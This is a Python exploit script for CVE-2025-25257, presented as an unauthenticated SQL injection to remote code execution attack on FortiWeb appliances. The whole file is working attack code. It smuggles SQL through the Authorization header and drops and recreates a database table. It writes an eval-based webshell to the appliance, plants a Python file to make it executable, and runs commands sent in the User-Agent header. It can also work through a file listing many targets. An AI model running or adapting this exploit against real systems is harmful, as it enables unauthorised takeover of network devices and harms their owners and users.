CVE-2025-25257.py

#!/usr/bin/env python3
import argparse
import binascii
from urllib.parse import urljoin
import requests
import urllib3
import sys

urllib3.disable_warnings()


class SQLInjection:
    def __init__(self, target: str, proxy: str = None):
        self._target = target
        self._buggy_api = '/api/fabric/device/status'
        self._proxies = {"http": proxy, "https": proxy} if proxy else None

    def inject_sql(self, injection: str) -> bool:
        headers = {"Authorization": f"Bearer ';{injection}"}
        url = urljoin(self._target, self._buggy_api)
        try:
            r = requests.get(url, headers=headers, verify=False, proxies=self._proxies)
            return r.status_code == 401
        except Exception as e:
            print(f'[!] Request failed: {e}')
            return False


class RCE(SQLInjection):
    def __init__(self, target: str, proxy: str = None):
        super().__init__(target, proxy)
        self._pyhook_path = '/cgi-bin/ml-draw.py'
        self._webshell_path = '/migadmin/cgi-bin/x.cgi'
        self._pth_path = '/var/log/lib/python3.10/pylab.py'

        self._webshell = (
            '#!/bin/sh -- \r\n'
            'printf "Content-Type: text/html\\r\\n";printf "\\r\\n";eval $HTTP_USER_AGENT'
        )

        self._chmod_script = (
            "import os # \r\n"
            "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"
        )

    def upload_webshell(self) -> bool:
        self._prepare_table()
        self._write_payload(self._webshell)
        print('[>] Writing webshell...')
        self._write_file(self._webshell_path)

        self._prepare_table()
        self._write_payload(self._chmod_script)
        print('[>] Deploying chmod trigger...')
        self._write_file(self._pth_path, escape_quote=False)

        return self._trigger_chmod()

    def run_cmd(self, cmd: str) -> bytes:
        try:
            r = requests.get(
                urljoin(self._target, self._webshell_path),
                verify=False,
                headers={'User-Agent': cmd},
                proxies=self._proxies
            )
            return r.content
        except Exception as e:
            print(f'[!] Command exec failed: {e}')
            return b''

    def _trigger_chmod(self) -> bool:
        try:
            r = requests.get(urljoin(self._target, self._pyhook_path), verify=False, proxies=self._proxies)
            return r.status_code == 500
        except Exception as e:
            print(f'[!] Trigger failed: {e}')
            return False

    def _write_payload(self, payload: str):
        parts = [payload[i:i+16] for i in range(0, len(payload), 16)]
        for part in parts:
            hexed = binascii.hexlify(part.encode()).decode()
            print(f'[*] Writing part: {part}')
            self.inject_sql(
                f"USE/**/fabric_user;UPDATE/**/a/**/SET/**/a=(SELECT/**/CONCAT(a,0x{hexed})/**/FROM/**/a);--"
            )

    def _write_file(self, path: str, escape_quote: bool = True):
        esc = "''" if escape_quote else "'"
        self.inject_sql(
            f"SELECT/**/a/**/FROM/**/fabric_user.a/**/INTO/**/OUTFILE/**/'{path}'/**/FIELDS/**/ESCAPED/**/BY/**/{esc};--"
        )

    def _prepare_table(self):
        self.inject_sql("DROP/**/TABLE/**/fabric_user.a;--")
        self.inject_sql("CREATE/**/TABLE/**/fabric_user.a/**/(a/**/TEXT);--")
        self.inject_sql("INSERT/**/INTO/**/fabric_user.a/**/VALUES('');--")


def print_about():
    print("\nCVE-2025-25257 - FortiWeb SQLi to RCE Exploit")
    print("Author     : @mrmtwoj | acyber.ir")
    print("Vuln Type  : SQL Injection (Unauthenticated) -> Remote Code Execution")
    print("Target     : FortiWeb <= 7.0.10 / 7.2.10 / 7.4.7 / 7.6.3\n")


def attack_target(target: str, proxy: str = None):
    print(f'\n[*] Target: {target}')
    exploit = RCE(target, proxy)
    if exploit.upload_webshell():
        print('[+] Webshell deployed successfully.')
        output = exploit.run_cmd('id')
        print(output.decode())
        print('[+] Webshell URL:')
        print(f"    -> {urljoin(target, '/cgi-bin/x.cgi')}")
        print('    -> Send commands via User-Agent header.')
    else:
        print('[-] Exploit may have failed.')


def main():
    parser = argparse.ArgumentParser(description='CVE-2025-25257 SQLi to RCE Exploit Tool')
    parser.add_argument('-t', '--target', help='Single target (e.g. https://1.2.3.4)')
    parser.add_argument('-T', '--targets', help='File containing list of targets')
    parser.add_argument('--proxy', help='HTTP proxy (e.g. http://127.0.0.1:8080)')
    parser.add_argument('--about', action='store_true', help='Show about info and exit')

    args = parser.parse_args()

    if args.about:
        print_about()
        sys.exit(0)

    if not args.target and not args.targets:
        parser.print_help()
        sys.exit(1)

    if args.target:
        attack_target(args.target.strip(), proxy=args.proxy)

    if args.targets:
        try:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    if line:
                        attack_target(line, proxy=args.proxy)
        except Exception as e:
            print(f'[!] Failed to read target list: {e}')


if __name__ == '__main__':
    main()